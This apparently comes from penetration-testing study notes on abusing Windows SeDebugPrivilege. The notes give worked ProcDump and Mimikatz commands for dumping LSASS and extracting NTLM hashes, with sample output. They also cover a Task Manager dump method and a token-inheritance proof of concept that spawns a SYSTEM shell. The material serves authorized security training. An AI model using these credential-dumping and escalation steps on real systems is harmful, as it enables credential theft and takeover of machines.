Windows Privilege Escalation — SeDebugPrivilege
SeDebugPrivilege (“Debug programs”) lets a token holder attach to and inspect/modify the memory of any process, including ones it doesn’t own — normally reserved for administrators. It’s sometimes granted to a non-admin account (via local/domain GPO under Computer Settings > Windows Settings > Security Settings) so a user can run or troubleshoot a particular application/service without adding them to the Administrators group — commonly developers debugging system components. Because it grants access to critical OS components and sensitive memory (including LSASS, which holds credentials), it should be assigned sparingly.
Why This Matters During an Assessment
- During an internal pentest, LinkedIn-style OSINT can help identify likely developer accounts before cracking bulk NTLMv2 hashes captured via Responder/Inveigh — developer accounts are more likely to carry
SeDebugPrivilege. - A user may not be a local admin (so BloodHound/remote enumeration won’t flag them) but may still hold this privilege locally — worth checking manually whenever credentials + RDP/interactive access to a host are available but no other obvious privileges exist.
Enumerating
C:\htb> whoami /priv
Privilege Name Description State
========================================= ================================================================== ========
SeDebugPrivilege Debug programs Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Like most privileges, it may show as Disabled until enabled in the token — this is normal and doesn’t prevent use by tooling that enables it itself (e.g. ProcDump, Mimikatz).
Credential Theft: Dumping LSASS
LSASS stores user credentials in memory after logon. With SeDebugPrivilege, ProcDump (SysInternals) can create a full memory dump of it:
C:\htb> procdump.exe -accepteula -ma lsass.exe lsass.dmp
[15:25:45] Dump 1 initiated: C:\Tools\Procdump\lsass.dmp
[15:25:45] Dump 1 writing: Estimated dump file size is 42 MB.
[15:25:45] Dump 1 complete: 43 MB written in 0.5 seconds
Load the dump offline/remotely in Mimikatz:
C:\htb> mimikatz.exe
mimikatz # log
Using 'mimikatz.log' for logfile : OK
mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'
mimikatz # sekurlsa::logonpasswords
...
User Name : jordan
msv :
* NTLM : cf3a5525ee9414229e66279623ed5c58
* SHA1 : 3c7374127c9a60f9e5b28d3a343eb7ac972367b2
Extracted NTLM hashes can be used for pass-the-hash lateral movement if the same local admin password/hash is reused across hosts (common in large environments).
Always run
logfirst in Mimikatz so command output is saved to a.txtfile — useful when a dump contains many sets of credentials.
No Tooling Available? Use Task Manager
If tools can’t be uploaded but RDP access exists: Task Manager → Details tab → select lsass.exe → Create dump file. Download the resulting file and process it with Mimikatz exactly as above.
RCE as SYSTEM via Token Inheritance
SeDebugPrivilege can also be leveraged directly for RCE without needing to extract/crack any credentials: launch a child process and use the privilege to make it inherit the token of a targeted parent process. Target a process already running as SYSTEM (e.g. winlogon.exe, lsass.exe) by PID to elevate quickly.
PoC: psgetsystem (check the repo for current usage, as the script has been updated).
PS C:\htb> tasklist
Image Name PID Session Name Session# Mem Usage
========================= ======== ================ =========== ============
winlogon.exe 612 Console 1 10,408 K
[MyProcess]::CreateProcessFromParent(<system_pid>, <command_to_execute>, "")
- Open an elevated PowerShell console as the
SeDebugPrivilegeuser first. - Target
winlogon.exe’s PID (known to run as SYSTEM), or useGet-Processto grab the PID of another well-known SYSTEM process (e.g.lsass) directly, skipping thetaskliststep. - The trailing empty
""argument is required for the PoC to work correctly.
This yields a cmd.exe running as NT AUTHORITY\SYSTEM.
Non-Interactive Scenarios
Without RDP/an interactive session (e.g. command injection, web shell, or a reverse shell as the privileged user), adapt PoCs like the above to return a reverse shell as SYSTEM, add an admin user, or run another one-shot command instead of popping an interactive console. Keep this technique in mind as a fallback when dumping LSASS yields no useful credentials but code execution as SYSTEM would still be valuable.
Takeaways
SeDebugPrivilegeis powerful even without admin group membership — treat it like local admin when found during enumeration.- Two main abuse paths: (1) dump and crack/replay credentials from LSASS, (2) directly spawn a SYSTEM process via token inheritance from a SYSTEM-owned PID.
- Check for it manually on hosts where BloodHound/remote enumeration can’t reveal local rights assignments.